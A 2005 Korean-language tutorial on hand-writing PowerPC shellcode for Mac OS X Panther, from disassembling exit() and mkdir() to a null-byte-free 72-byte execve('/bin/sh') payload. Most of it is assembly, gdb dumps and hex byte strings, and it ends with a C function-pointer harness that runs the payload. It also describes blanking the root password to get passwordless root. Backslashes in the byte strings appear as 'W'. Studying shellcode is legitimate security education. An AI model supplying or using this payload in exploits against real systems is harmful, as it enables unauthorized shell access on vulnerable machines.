```
###############################################################################
                  Execute Shellcode on the MacOSX

                                                                      1ndr4
                                                "indra.kr" . "Wx40" . "gmail.com"
                                                   http://indra.linuxstudy.pe.kr
                                                                  2005. 08. 19.
###############################################################################
```


0x00. Introduction

Processor : PowerPC G4 400MHz
Memory : 320RAM SDRAM
Developer Packages : Xcode Tools (developer kit for macosx)
OS Version : MacOSX 10.3.9(7W98) - Panther
Kernel Version : Darwin 7.9.0
Updated Packages : Full Patches - 2005. 08. 19.

회사에서 Mac 관련 프로토콜인 AppleTalk 라는 프로토콜을 개량, 연구하는일을
하다 보니 맥을 접할 수 있는 계기가 많아졌다.
이쪽 일을 하게 된 것이 04년 4월쯤 부터니까.. 1년 조금 넘게 한 것 같다.
게다가 Mac 9 에서 Mac 10 으로 올라오면서 Darwin kernel 에 unix based 라는것이
매우 마음에 들었다.
linux/freebsd 에서는 shellcode를 직접 만들어 봤고, windows 쪽은 솔직히
관심 없어서 안했고, Mac 쪽의 ppc shellcode 를 직접 만들어 보리라 생각을 했었다.
엄청난 삽질을 예감하고 기쁜 마음이었는데 우연히 B-r00t 가 쓴
"Smashing The Mac For Fun & Profit" 문서를 찾게 되었다.
대충 내용을 보니 쉽게 설명이 되어 있는 것 같았고 그런 문서가 존재하는것을
알고는 김이 팍 새 버렸다.
그래서 다짐했다.
'저 문서 보지 말고 처음부터 하자'
그래서 지금부터 삽질을 할 것이다. 처음부터...
이 문서에는 Mac OS X 를 인스톨 하고 root 권한을 가지고, developer tool 에
관련된 이야기까지 적을 것이다.

0x01. Preparation

나는 회사의 맥용 머신에 10.3 버전인 Panther 버전을 깔았다. (이하 Mac)
메모리는 320RAM 인데, 하는 일 자체가 프로토콜 개량쪽이다 보니
많은 메모리를 가진 머신이 필요 없었다.
처음 인스톨 하고 linux 와 같은 '콘솔' 메뉴가 있어 이를 클릭해보면
terminal 이 실행된다.
unix 기반 OS 를 다룬 사람은 금방 터득할 수 있는 어플리케이션이다.
또한 windows 에도 explorer.exe 가 전체 GUI shell 을 담당하듯, Mac에는
'Finder' 라는 프로세스가 전체 GUI shell 을 담당한다.
bsd 처럼, /etc/inetd.conf 에 의해 service를 설정할 수 있었기에
telnet port를 열고 terminal로 접속을 했다.
처음 Mac을 깔면 '관리자 계정' 이라는 것을 만드는데, windows 의 administrator
권한과 같은 것 같다. (root 계정과는 별개)
그리고 root 계정을 얻기 위해 응용프로그램 -> 유틸리티 -> 'NetInfo 관리자' 를
열어 root 의 password 필드 부분의 값을 전부 지웠다.
그러고 나니 terminal 로 접속한 계정에서 su - 를 사용하여 패스워드 없이
root 계정을 얻을 수 있었다.
google 에 찾아보니 'NetInfo 관리자'에서 변경 후에 nidump passwd . 를 한번
실행해 주라 하는데, 나는 그렇게 하지 않아도 됐었다.
그 후에 다시 NetInfo 관리자를 열어 root 의 password 부분에 '*'를 채워주고
root 권한의 terminal 에서 passwd root를 사용함으로써 root 패스워드를
재 설정 했다.
그리고는 gcc, gdb 등의 application 을 깔아야 했는데 apple.com 에 가입해서
Xcode tools 패키지를 다운 받고 인스톨을 한 후에야 gcc, gdb 등의 어플리케이션을
사용 할 수 있었다.

0x02. Disassemble the exit() function

나는 linux 에서도 그렇고 freebsd 에서도 그랬지만, 제일 처음 디스어셈블을 하는

함수가 바로 exit() 함수이다.
그 결과는 다음과 같았다.

```
indra:~/shellcode indra$ cat > exit.c
#include <stdio.h>

int main(void)
{
        exit(33);
}
indra:~/shellcode indra$ gcc -o exit exit.c -g
indra:~/shellcode indra$ alias gdb='gdb -q'
indra:~/shellcode indra$ gdb ./exit
Reading symbols for shared libraries .. done
(gdb) disas main
Dump of assembler code for function main:
0x00001de8 <main+0>:    mflr    r0
0x00001dec <main+4>:    stmw    r30,-8(r1)
0x00001df0 <main+8>:    stw     r0,8(r1)
0x00001df4 <main+12>:   stwu    r1,-80(r1)
0x00001df8 <main+16>:   mr      r30,r1
0x00001dfc <main+20>:   li      r3,33
0x00001e00 <main+24>:   bl      0x1e04 <dyld_stub_exit>
End of assembler dump.
(gdb) q
indra:~/shellcode indra$
```

exit() 함수에 인자로 주어진 33 은 일부러 넣어본 것이고, 컴파일 -g 옵션을 넣어봤다.
그리고 디버깅을 했는데 IA(Intel Architecture) 와는 디스어셈블 결과가 확연하게 달랐다.
그래서 apple.com 에서 assembly manual 을 찾아 번역해 가면서 의미를 알아봤다.
참고로 그 곳에는 이런 이야기가 쓰여 있다.

"The order of operands is destination <- source."

즉, operand 의 순서는 dst,src 가 된다는 이야기다.
movl $0x00,%eax 는 src,dst 순서가 되어 eax 레지스터에 0x00 값을 집어넣지만,
li r2,1 이면 dst,src 순서가 되어 r2 레지스터에 1값을 집어넣는다는 이야기다.

```
0x00: mflr      r0              ; link register(=mfspr 1, r0)
0x01: stmw      r30,-8(r1)      ; Store Multiple Word
0x02: stw       r0,8(r1)        ; Store Word
0x03: stwu      r1,-80(r1)      ; Store Word With Update
0x04: mr        r30,r1          ; Move Register
0x05: li        r3,33           ; Load Immediate
0x06: bl        0x1e04          ; Branch
```

gas 에서는 정수 33이라는 값을 입력할때(Immediate), 16진수로 변환하여 21이라는 값을
저장했어야 하는데 Mac ASM 은 이것을 변환하지 않고 그대로 저장하게 한다.
또한 함수인자가 들어가는 register. 즉, linux gas 의 register 는 %ebx 부터 였지만,
저기서는 r3 이라는 곳에 들어간다.
일단 이것을 컴파일 해서 실행해보면 다음과 같다.

```
indra:~/shellcode indra$ ./exit
indra:~/shellcode indra$ echo $?
33
indra:~/shellcode indra$
```

shell program 상에서 $? 는 프로그램 종료시 반환된 값이 저장되어 있는 것을 사용해서
echo 로 찍어 보았더니 정상적으로 실행이 됐다는 것을 확인 할 수 있다.
일단 우리는 bl(branch)은 linux 의 call operator 와 같다고 생각할 수 있다.

```
linux -
 call exit
Mac -
 bl exit
```

shellcode 를 실행할때는 call operator가 아닌 interrupt operator 를 사용하는 구조로
이루어져야 한다.
찾아보니 sc 라는 operator 가 현재 Mac 의 System interrupt operator 로 분류되어
사용되어지고 있었다.

```
linux -
 int $0x80
Mac -
 sc
```

삽질을 한번 해보기로 했다.

r0 - r31 까지 기본적인 목적레지스터이고, /usr/include/sys/syscall.h 에 각 시스템콜 넘버가
기록되어 있으므로, 이것들을 조합해서 짜보기로 했다.

```
indra:~/shellcode indra$ cat 2.s
.globl _main
_main:
        li      r0,1
        li      r3,33
        sc
indra:~/shellcode indra$ cc -o 2 2.s
indra:~/shellcode indra$ echo $?
0
indra:~/shellcode indra$ ./2
indra:~/shellcode indra$ echo $?
33
indra:~/shellcode indra$
```

일단은 원하는대로 된 것인지 프로그램 결과값이 33 이 나왔다.

0x03. Execution of mkdir() function

exit() 함수를 sc operator 사용으로 구현한것 까지는 좋은데,
그 다음으로 쉬워보이는 mkdir() 을 구현해보는 것이다.
아직까지는 인자의 두번째가 r4 register 로 가야하는지 어디로 가야하는지
불 분명하다.
이것도 삽질을 해서 풀어보려 한다.

```
indra:~/shellcode indra$ cc -o mkdir mkdir.c -g
indra:~/shellcode indra$ ./mkdir
indra:~/shellcode indra$ ls -al AAAA
total 0
drwx------   2 indra  indra   68 17 Aug 04:02 .
drwxr-xr-x  14 indra  indra  476 17 Aug 04:02 ..
indra:~/shellcode indra$ cat mkdir.c
#include <stdio.h>

int main(void)
{
        mkdir("AAAA", 0700);
}
indra:~/shellcode indra$ gdb ./mkdir
Reading symbols for shared libraries .. done
(gdb) disas main
Dump of assembler code for function main:
0x00001d98 <main+0>:    mflr    r0
0x00001d9c <main+4>:    stmw    r30,-8(r1)
0x00001da0 <main+8>:    stw     r0,8(r1)
0x00001da4 <main+12>:   stwu    r1,-80(r1)
0x00001da8 <main+16>:   mr      r30,r1
0x00001dac <main+20>:   bcl-    20,4*cr7+so,0x1db0 <main+24>
0x00001db0 <main+24>:   mflr    r31
0x00001db4 <main+28>:   addis   r3,r31,0
0x00001db8 <main+32>:   addi    r3,r3,584
0x00001dbc <main+36>:   li      r4,448
0x00001dc0 <main+40>:   bl      0x1f3c <dyld_stub_mkdir>
0x00001dc4 <main+44>:   mr      r3,r0
0x00001dc8 <main+48>:   lwz     r1,0(r1)
0x00001dcc <main+52>:   lwz     r0,8(r1)
0x00001dd0 <main+56>:   mtlr    r0
0x00001dd4 <main+60>:   lmw     r30,-8(r1)
0x00001dd8 <main+64>:   blr
End of assembler dump.
(gdb) q
indra:~/shellcode indra$
```

복잡한 명령어들을 거쳐 r3 register 에 값이 들어가고, r4 register 까지
값이 쓰인 후에야 branch 로 mkdir 이 실행되는 것을 볼 수 있다.
간단한 어셈코드로 만들면 다음과 같다.

```
.data
str:
        .ascii  "AAAAW0"
.text

.globl _main
_main:
```

```
        li      r0,136                  ; /usr/include/sys/syscall.h
        lis     r3,ha16(str)            ; upper 16bits of address
        addi    r3, r3, lo16(str)       ; lower 16bits of address
        li      r4,448                  ; permission, Dec: 448, Oct: 700
        sc                              ; system call
```

최종목표는 shellcode 인데, linux shellcode 만들때 같은 방식으로 만들어 볼까 한다.
linux shellcode 만들때에는 우선 IA32 가 Little Endian 시스템이므로 문자열들을
4바이트씩 쪼개 0x67452301 형식으로 거꾸로 만들어 버린 후 push operator 를 사용해
stack 에 해당값들을 집어넣고 stack pointer 인 esp 값으로 문자열의 주소를 계산해서
활용했었다.
"PowerPC Technical Tidbits" 문서에 따르면 Mac 에서 stack pointer에 해당하는 레지스터는
r1 이라고 하며, 이 r1을 stwu operator 로 연산하면 stack frame 이 만들어 진다고 한다.
그것을 토대로 코드 하나를 짜서 테스트 해 봤다.

```
.globl _main
_main:
        stwu    r1,-8(r1)       ; stack pointer
        lis     r31,0x4141      ; upper 2bytes (0x41410000)
        addi    r31,r31,0x4141  ; lower 2bytes (0x41414141)
        stwu    r31,0(r1)       ; pushing value in to stack
        mr      r3,r1           ; first value (address of string)
        xor.    r31,r31,r31     ; XOR
        stwu    r31,4(r1)       ; pushing value in to stack (0x4141414100000000)
        li      r0,136          ; system call number
        li      r4,448          ; second value (permission)
        sc                      ; system call
```

솔직히 위의 코드 하나 때문에 거의 몇시간 동안 삽질했다.
memory alignment, register 나 operand 이름 같은것들이 linux 때와는 다르게
너무 생소하기도 하고 x86 기반 little endian 에서만 shellcode 를 만들었던지라
big endian 이라는 것도 적응하기 힘든 요인으로 작용했다.

일단, stack pointer 로 정해져 있는 r1 register 의 값을 조정해
8바이트의 stack 공간을 만들었다.
그리고 문자열을 r31 register 에 Immediate 하고 그것을 stack 영역에 복사했다.
xor 을 사용해 문자열의 끝을 알리는 부분도 만들어 넣었고, 그리고 sc 를 실행한다.

위의 코드를 실행하면 정상적으로 AAAA 라는 이름의 디렉토리가 만들어진다.
퍼미션도 정확하다.

```
char damn[] =
        "Wx94Wx21WxffWxf8Wx3fWxe0Wx41Wx41Wx3b"
        "WxffWx41Wx41Wx97Wxe1Wx00Wx00Wx7cWx23"
        "Wx0bWx78Wx7fWxffWxfaWx79Wx97Wxe1Wx00"
        "Wx04Wx38Wx00Wx00Wx88Wx38Wx80Wx01Wxc0"
        "Wx44Wx00Wx00Wx02";

int main(void)
{
        void (*func)(void);
        func = (void*)damn;
        func();
}
```

C 로 function pointer 를 사용해 실행하도록 포팅한 버전에서도 역시 정상적으로 실행됐다.
다만, 위의 코드로 디렉토리가 정상적으로 만들어졌지만 코어덤프가 일어났는데
그 문제는 분기문을 끝내기 위한 blr 과 exit() 함수의 코드를 추가함으로써 해결됐다.
재미있는것은 폴트에러를 내면서 종료를 하길래 디버깅하려고 ulimit 으로
코어생성을 하게 했는데도, 현재 디렉토리에 코어파일이 생기지 않았다.
그래서 찾아본 결과 core 파일들은 /cores 디렉토리 안에 core.PID 형식으로 생기는 것을
알 수 있었다.

```
char damn[] =
        /* mkdir("AAAAW0", 0700); */
        "Wx94Wx21WxffWxf8Wx3fWxe0Wx41Wx41Wx3b"
        "WxffWx41Wx41Wx97Wxe1Wx00Wx00Wx7cWx23"
        "Wx0bWx78Wx7fWxffWxfaWx79Wx97Wxe1Wx00"
        "Wx04Wx38Wx00Wx00Wx88Wx38Wx80Wx01Wxc0"
        "Wx44Wx00Wx00Wx02"
         /* blr */
        "Wx4eWx80Wx00Wx20"
        /* exit(0); */
        "Wx38Wx00Wx00Wx01Wx38Wx60Wx00Wx00Wx44"
        "Wx00Wx00Wx02";

int main(void)
```

```
{
        void (*func)(void);
        func = (void*)damn;
        func();
}
```

0x04. Implementation of shellcode using execve() function

자 이제 execve() 로 /bin/sh 를 실행하는 코드를 만들때가 왔다.
솔직히 싱숭생숭 하다. 또 어떤 장벽이 날 가로막고 있을까
이런 삽질하는 맛이라도 있어야 살지.

```
#include <stdio.h>

int main(void)
{
        char *sh[2];

        sh[0] = "/bin/sh";
        sh[1] = NULL;

        execve(sh[0], sh, NULL);
}
```

너무 많이 본 코드다.
execve() 를 사용해 /bin/sh 를 실행하는 C 코드.
디스어셈블 결과는 다음과 같다.

```
(gdb) disas main
Dump of assembler code for function main:
0x00001d84 <main+0>:    mflr    r0
0x00001d88 <main+4>:    stmw    r30,-8(r1)
0x00001d8c <main+8>:    stw     r0,8(r1)
0x00001d90 <main+12>:   stwu    r1,-96(r1)
0x00001d94 <main+16>:   mr      r30,r1
0x00001d98 <main+20>:   bcl-    20,4*cr7+so,0x1d9c <main+24>
0x00001d9c <main+24>:   mflr    r31
0x00001da0 <main+28>:   addis   r2,r31,0
0x00001da4 <main+32>:   addi    r2,r2,604
0x00001da8 <main+36>:   stw     r2,64(r30)
0x00001dac <main+40>:   li      r0,0
0x00001db0 <main+44>:   stw     r0,68(r30)
0x00001db4 <main+48>:   lwz     r3,64(r30)
0x00001db8 <main+52>:   addi    r4,r30,64
0x00001dbc <main+56>:   li      r5,0
0x00001dc0 <main+60>:   bl      0x1f3c <dyld_stub_execve>
0x00001dc4 <main+64>:   mr      r3,r0
0x00001dc8 <main+68>:   lwz     r1,0(r1)
0x00001dcc <main+72>:   lwz     r0,8(r1)
0x00001dd0 <main+76>:   mtlr    r0
0x00001dd4 <main+80>:   lmw     r30,-8(r1)
0x00001dd8 <main+84>:   blr
End of assembler dump.
(gdb) q
```

r5 register 가 마지막으로 envp 부분이다.
이것을 토대로 asm code 를 짜봤다.

```
.globl _main
_main:

        lis     r29,0x2f2f      ; upper 2bytes ("//")
        addi    r29,r29,0x6269  ; lower 2bytes ("bi")
        lis     r30,0x6e2f      ; upper 2bytes ("n/")
        addi    r30,r30,0x7368  ; lower 1byte ("sh")
        xor.    r31,r31,r31     ; XOR
        stwu    r1,-20(r1)      ; allocated 20bytes
        stwu    r31,0(r1)       ; 0x00000000
        stwu    r29,4(r1)       ;
        mr      r3,r1           ;
        stwu    r30,4(r1)       ; first value (path)
        stwu    r31,4(r1)       ; 0x00000000
        mr      r4,r3           ;
        stwu    r4,4(r1)        ; address of path push to stack
        stwu    r31,4(r1)       ; 0x00000000
        mr      r4,r1           ;
```

```
        subi    r4,r4,4         ; second value (argv)
        li      r5,0            ; third value (envp)
        li      r0,59           ; system call number
        sc                      ; system call
```

의외로 길어졌다...
일단 실행은 성공적이다.

```
indra:~/shellcode indra$ cat 1.s
.globl _main
_main:

        lis     r29,0x2f2f      ; upper 2bytes ("//")
        addi    r29,r29,0x6269  ; lower 2bytes ("bi")
        lis     r30,0x6e2f      ; upper 2bytes ("n/")
        addi    r30,r30,0x7368  ; lower 1byte ("sh")
        xor.    r31,r31,r31     ; XOR
        stwu    r1,-20(r1)      ; allocated 20bytes
        stwu    r31,0(r1)       ; 0x00000000
        stwu    r29,4(r1)       ;
        mr      r3,r1           ;
        stwu    r30,4(r1)       ; first value (path)
        stwu    r31,4(r1)       ; 0x00000000
        mr      r4,r3           ;
        stwu    r4,4(r1)        ; address of path push to stack
        stwu    r31,4(r1)       ; 0x00000000
        mr      r4,r1           ;
        subi    r4,r4,4         ; second value (argv)
        li      r5,0            ; third value (envp)
        li      r0,59           ; system call number
        sc                      ; system call
indra:~/shellcode indra$ cc -o 1 1.s
indra:~/shellcode indra$ ./1
sh-2.05b$ ps
  PID  TT  STAT      TIME COMMAND
  675 std  S      0:06.54 -bash
 4533 std  S      0:00.02 //bin/sh
sh-2.05b$
```

두번째 인자값은 'char *const argv[]' 의 형태를 가지고 있고,
이를 구현하기 위해 먼저 stack 에 문자열을 넣고 문자열의 address 를 구한 다음
그 address 를 다시 stack 에 넣어 address 를 뽑아 double pointer 형태로 구현했다.

```
indra:~/shellcode indra$ cat shell.c
char damn[] =
        "Wx3fWxa0Wx2fWx2fWx3bWxbdWx62Wx69Wx3fWxc0"
        "Wx6eWx2fWx3bWxdeWx73Wx68Wx7fWxffWxfaWx79"
        "Wx94Wx21WxffWxecWx97Wxe1Wx00Wx00Wx97Wxa1"
        "Wx00Wx04Wx7cWx23Wx0bWx78Wx97Wxc1Wx00Wx04"
        "Wx97Wxe1Wx00Wx04Wx7cWx64Wx1bWx78Wx94Wx81"
        "Wx00Wx04Wx97Wxe1Wx00Wx04Wx7cWx24Wx0bWx78"
        "Wx38Wx84WxffWxfcWx38Wxa0Wx00Wx00Wx38Wx00"
        "Wx00Wx3bWx44Wx00Wx00Wx02";

int main(void)
{
        void (*ret)(void);
        ret = (void*)damn;
        ret();
}
indra:~/shellcode indra$ cc -o shell shell.c
indra:~/shellcode indra$ ./shell
sh-2.05b$
```

역시 C code 로 포팅해서 실행해도 이상없다.

0x05. Remove the 0x00 code

이제 거의 마지막 단계에 왔다.
마지막으로 현재 만들어진 code 에서 0x00 code 를 제거하는 일만이 남았다.
일단 다음과 같이 코드를 재 정리했다.

```
.globl _main
_main:
        xor.    r5,r5,r5        ; XOR; last value (envp)
```

```
        lis     r29,0x2f2f      ; upper 2bytes ("//")
        addi    r29,r29,0x6269  ; lower 2bytes ("bi")
        lis     r30,0x6e2f      ; upper 2bytes ("n/")
        addi    r30,r30,0x7368  ; lower 2bytes ("sh")
        stwu    r5,-4(r1)       ; pushing 0x00
        stwu    r30,-4(r1)      ;
        stwu    r29,-4(r1)      ; first value (path)
        mr      r3,r1           ;
        stwu    r5,-4(r1)       ; pushing 0x00
        mr      r4,r3           ;
        stwu    r5,-4(r1)       ; 0x00000000
        stwu    r4,-4(r1)       ; address of path push to stack
        mr      r4,r1           ; second value (argv)
        lis     r6,0x1111       ; pad (0x11110000)
        addi    r6,r6,0x1111    ; pad (0x11111111)
        subi    r0,r6,0x10d6    ; 0x1111(4369) - 0x10d6(4310) = 59
                                ; system call number
        sc                      ; system call
```

그리고 디스어셈블 결과 다음과 같이 0x00 코드를 제거했는데,
마지막 sc 부분인 0x1e00 부분의 0x44000002 부분이 문제로 남았다.

```
(gdb) x/72bx main
0x1dbc <_main>:         0x7c    0xa5    0x2a    0x79    0x3f    0xa0    0x2f    0x2f
0x1dc4 <_main+8>:       0x3b    0xbd    0x62    0x69    0x3f    0xc0    0x6e    0x2f
0x1dcc <_main+16>:      0x3b    0xde    0x73    0x68    0x94    0xa1    0xff    0xfc
0x1dd4 <_main+24>:      0x97    0xc1    0xff    0xfc    0x97    0xa1    0xff    0xfc
0x1ddc <_main+32>:      0x7c    0x23    0x0b    0x78    0x94    0xa1    0xff    0xfc
0x1de4 <_main+40>:      0x7c    0x64    0x1b    0x78    0x94    0xa1    0xff    0xfc
0x1dec <_main+48>:      0x94    0x81    0xff    0xfc    0x7c    0x24    0x0b    0x78
0x1df4 <_main+56>:      0x3c    0xc0    0x11    0x11    0x38    0xc6    0x11    0x11
0x1dfc <_main+64>:      0x38    0x06    0xef    0x2a    0x44    0x00    0x00    0x02
(gdb)
```

예전 solaris shellcode 만들때 lcall 에 대한 코드도 중간에 0x00 코드가 있어,
그것을 우회하는 방법으로 0xff 로 치환하는 방법을 생각했다.
그래서 0x44000002 를 0x44111102 로 실행해 봤는데, 코드가 실행됐다.
삽질끝에 또 한가지 흥미로운 점을 발견했는데 다음과 같다.

```
0x44(anycode 5 characters){2,3,6,7,a,b,e,f} -> equiv to 0x44000002
ex) 0x44123452
       -    3
       -    6
       -    7
       -    a
       -    b
       -    e
       -    f
```

앞의 operator 부분을 차지하고 있는 곳이 0x44 일 경우, 중간의 내용은 상관없이
마지막 부분만 2,3,6,7,a,b,e,f 라는 조건만 만족한다면 sc operator 와 같은 효과를
낼 수 있는 것 을 확인했다.
혹시나 이것이 내 머신의 memory alignment, 혹은 memory cache 문제일 수도 있다.
만약 그렇다면 저 위의 메일 주소로 feedback 을 보내주기 바란다.

```
indra:~/shellcode indra$ cat final-shellcode.c
char damn[] =
        "Wx7cWxa5Wx2aWx79Wx3fWxa0Wx2fWx2fWx3bWxbd"
        "Wx62Wx69Wx3fWxc0Wx6eWx2fWx3bWxdeWx73Wx68"
        "Wx94Wxa1WxffWxfcWx97Wxc1WxffWxfcWx97Wxa1"
        "WxffWxfcWx7cWx23Wx0bWx78Wx94Wxa1WxffWxfc"
        "Wx7cWx64Wx1bWx78Wx94Wxa1WxffWxfcWx94Wx81"
        "WxffWxfcWx7cWx24Wx0bWx78Wx3cWxc0Wx11Wx11"
        "Wx38Wxc6Wx11Wx11Wx38Wx06WxefWx2a"
        "Wx44Wx12Wx34Wx5f"; // <-- maybe magick bytes? ;p

int main(void)
{
        void (*func)(void);

        func = (void*)damn;
        printf("Voila~ %d bytes shellcode!Wn", strlen(damn));
        func();
}
indra:~/shellcode indra$ gcc -o final-shellcode final-shellcode.c
indra:~/shellcode indra$ ./final-shellcode
Voila~ 72 bytes shellcode!
```

```
sh-2.05b$ ps | grep $$
28134 std  S      0:00.03 //bin/sh
28405 std  R+     0:00.00 grep 28134
sh-2.05b$
```

0x06. The end

드디어 끝이 났다.
이 문서를 쓰기 시작한 것이 17일이고, 19일이 된 지금에야 끝을 보게 됐다.
x86 에서의 어셈블리어와 많은 차이점이 있었고 메모리 문제나 어셈 명령어 문제로
고민도 많이 했다.
그런데 이렇게 끝을 맺을 수 있어서 정말 다행인 것 같다.
linux 에서 문자열을 stack 에 넣어 shellcode 를 만드는 방식은
call/pop/push 로 만들었을때보다 꽤나 작게 만들 수 있었다.
지금 나는 그 방식을 통해 72bytes 코드를 만들었는데 잘 만든건지는 모르겠다.
전혀 경험해 보지 않았던 ppc assembly 를 이틀만에 얼렁뚱땅 보고 해치웠으니까..
이틀동안 삽질했던 것. 꽤나 즐거웠다.
(사실, 이번달 부터 운동한다고 시작했건만, 이 문서 쓰는 이틀동안 런닝머신에 있어도
머리에 어셈블리 코드들이 돌아다니는 통에 운동도 제대로 못했다)
정말 많은 도움이 됐다.
그리고 혹시나 'sc operator 를 우회하는 방법'에 대해 내 머신에서 잘못됐을수도 있으니
잘못된 내용이라면 바로 메일로 feedback 해 주기 바란다.

0x07. Reference
---

[1] Mac OS X Assembler Guide
 - http://developer.apple.com/documentation/DeveloperTools/Reference/Assembler/

[2] PowerPC assembly
 - http://www-128.ibm.com/developerworks/linux/library/l-ppc/

[3] PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors
 - http://www-306.ibm.com/chips/techlib/techlib.nsf/techdocs/852569B20050FF778525699600719DF2

[4] PowerPC Technical Tidbits
 - http://www.go-ecs.com/ppc/ppctek1.htm

[5] PowerPC Assembly Quick Reference Information
 - http://class.ee.iastate.edu/cpre211/labs/quickrefPPC.html

[6] PowerPC Compiler Writer's Guide
 - http://the.wall.riscom.net/books/proc/ppc/cwg/cwg_toc.html